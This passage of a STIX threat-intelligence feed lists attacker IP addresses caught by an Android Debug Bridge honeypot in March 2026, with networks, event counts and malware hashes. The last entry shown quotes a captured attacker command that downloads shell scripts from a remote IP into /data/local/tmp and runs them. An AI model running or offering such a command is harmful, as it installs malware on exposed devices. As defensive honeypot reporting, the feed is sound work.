        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.216.150.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T05:00:02.000Z",
      "valid_until": "2026-04-07T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-06T04:54:29.000Z",
          "last_seen": "2026-03-06T05:05:27.703Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T05:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=CN; asn=56041; asn_org=China Mobile communications corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=64 | first_seen=2026-03-06T04:17:30.000Z | last_seen=2026-03-15T01:53:26.261Z | ports=5555 | cc=CN | asn=56041 | org=China Mobile communications corporation | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--626101c2-7da7-4096-bfc5-a3dcbe03a3fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '218.205.95.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T05:00:02.000Z",
      "valid_until": "2026-04-07T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 64,
          "first_seen": "2026-03-06T04:17:30.000Z",
          "last_seen": "2026-03-15T01:53:26.261Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56041"
          ],
          "org": [
            "China Mobile communications corporation"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T05:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-06T04:54:29.000Z | last_seen=2026-03-06T05:05:27.703Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--8c58baa8-784f-4a8f-82f6-86a466d587e4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '162.216.150.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T05:00:13.000Z",
      "valid_until": "2026-04-07T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-06T04:54:29.000Z",
          "last_seen": "2026-03-06T05:05:27.703Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T05:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=CN; asn=56041; asn_org=China Mobile communications corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=64 | first_seen=2026-03-06T04:17:30.000Z | last_seen=2026-03-15T01:53:26.261Z | ports=5555 | cc=CN | asn=56041 | org=China Mobile communications corporation | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--626101c2-7da7-4096-bfc5-a3dcbe03a3fd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '218.205.95.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T05:00:13.000Z",
      "valid_until": "2026-04-07T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 64,
          "first_seen": "2026-03-06T04:17:30.000Z",
          "last_seen": "2026-03-15T01:53:26.261Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56041"
          ],
          "org": [
            "China Mobile communications corporation"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "76ae6d577ba96b1c3a1de8b21c32a9faf6040f7e78d98269e0469d896c29dc64",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T09:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=RU; asn=211860; asn_org=Nerushenko Vyacheslav Nikolaevich; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=26 | first_seen=2026-03-06T08:48:52.000Z | last_seen=2026-03-27T19:34:13.881Z | ports=5555 | cc=RU | asn=211860 | org=Nerushenko Vyacheslav Nikolaevich",
      "id": "indicator--b90e2630-c5d1-42e3-b2db-758804375546",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '82.147.88.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T09:00:05.000Z",
      "valid_until": "2026-04-07T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 26,
          "first_seen": "2026-03-06T08:48:52.000Z",
          "last_seen": "2026-03-27T19:34:13.881Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RU"
          ],
          "asn": [
            "211860"
          ],
          "org": [
            "Nerushenko Vyacheslav Nikolaevich"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=26744; asn_org=Planters Communications, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-06T09:54:35.000Z | last_seen=2026-03-06T09:55:40.993Z | ports=5555 | cc=US | asn=26744 | org=Planters Communications, LLC",
      "id": "indicator--8ff416d8-6844-44c3-8ea5-6fa5dd0366e1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '68.170.242.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T10:00:02.000Z",
      "valid_until": "2026-04-07T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-06T09:54:35.000Z",
          "last_seen": "2026-03-06T09:55:40.993Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "26744"
          ],
          "org": [
            "Planters Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T10:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=26744; asn_org=Planters Communications, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-06T09:54:35.000Z | last_seen=2026-03-06T09:55:40.993Z | ports=5555 | cc=US | asn=26744 | org=Planters Communications, LLC",
      "id": "indicator--8ff416d8-6844-44c3-8ea5-6fa5dd0366e1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '68.170.242.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T10:00:03.000Z",
      "valid_until": "2026-04-07T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-06T09:54:35.000Z",
          "last_seen": "2026-03-06T09:55:40.993Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "26744"
          ],
          "org": [
            "Planters Communications, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-06T10:43:35.000Z | last_seen=2026-03-06T10:44:36.292Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--a27aece6-baef-4185-b4f9-9adc23894a28",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T11:00:02.000Z",
      "valid_until": "2026-04-07T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-06T10:43:35.000Z",
          "last_seen": "2026-03-06T10:44:36.292Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-06T10:43:35.000Z | last_seen=2026-03-06T10:44:36.292Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--a27aece6-baef-4185-b4f9-9adc23894a28",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T11:00:02.000Z",
      "valid_until": "2026-04-07T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-06T10:43:35.000Z",
          "last_seen": "2026-03-06T10:44:36.292Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=27; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=27 | first_seen=2026-03-06T17:09:08.000Z | last_seen=2026-03-06T17:20:24.104Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--855f4b52-79d5-49fe-a8dc-cf05d0eaa8ce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.65.194.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T18:00:02.000Z",
      "valid_until": "2026-04-07T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 27,
          "first_seen": "2026-03-06T17:09:08.000Z",
          "last_seen": "2026-03-06T17:20:24.104Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=71; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=71 | first_seen=2026-03-06T17:11:32.000Z | last_seen=2026-03-06T17:22:56.386Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--0f224ef0-aa40-4c39-9c36-1253c5c63ad8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '87.121.84.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T18:00:02.000Z",
      "valid_until": "2026-04-07T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 71,
          "first_seen": "2026-03-06T17:11:32.000Z",
          "last_seen": "2026-03-06T17:22:56.386Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=27; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=27 | first_seen=2026-03-06T17:09:08.000Z | last_seen=2026-03-06T17:20:24.104Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--855f4b52-79d5-49fe-a8dc-cf05d0eaa8ce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.65.194.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T18:00:02.000Z",
      "valid_until": "2026-04-07T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 27,
          "first_seen": "2026-03-06T17:09:08.000Z",
          "last_seen": "2026-03-06T17:20:24.104Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=71; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=71 | first_seen=2026-03-06T17:11:32.000Z | last_seen=2026-03-06T17:22:56.386Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--0f224ef0-aa40-4c39-9c36-1253c5c63ad8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '87.121.84.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T18:00:02.000Z",
      "valid_until": "2026-04-07T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 71,
          "first_seen": "2026-03-06T17:11:32.000Z",
          "last_seen": "2026-03-06T17:22:56.386Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=JP; asn=8075; asn_org=Microsoft Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=13 | first_seen=2026-03-06T18:56:33.000Z | last_seen=2026-03-06T19:06:46.145Z | ports=5555 | cc=JP | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--160feddb-da68-4cb5-a9ca-7ac434f70c0d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.78.57.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T19:00:02.000Z",
      "valid_until": "2026-04-07T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 13,
          "first_seen": "2026-03-06T18:56:33.000Z",
          "last_seen": "2026-03-06T19:06:46.145Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "JP"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T19:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=JP; asn=8075; asn_org=Microsoft Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=13 | first_seen=2026-03-06T18:56:33.000Z | last_seen=2026-03-06T19:06:46.145Z | ports=5555 | cc=JP | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--160feddb-da68-4cb5-a9ca-7ac434f70c0d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.78.57.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T19:00:11.000Z",
      "valid_until": "2026-04-07T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 13,
          "first_seen": "2026-03-06T18:56:33.000Z",
          "last_seen": "2026-03-06T19:06:46.145Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "JP"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T20:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=36352; asn_org=HostPapa; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; busybox wget http://142.248.228.197/w.sh; sh w.sh; curl http://142.248.228.197 /c.sh; sh c.sh; wget http://142.248.228.197/wget.sh; sh wget\"\n\nObserved in ADBHoney telemetry for 2026-03. events=123 | first_seen=2026-03-06T19:42:13.000Z | last_seen=2026-03-30T22:55:44.598Z | ports=5555 | cc=US | asn=36352 | org=HostPapa",
      "id": "indicator--54859a43-5855-464f-856c-cdc7021c42e6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '172.245.21.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T20:00:08.000Z",
      "valid_until": "2026-04-07T20:00:07.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
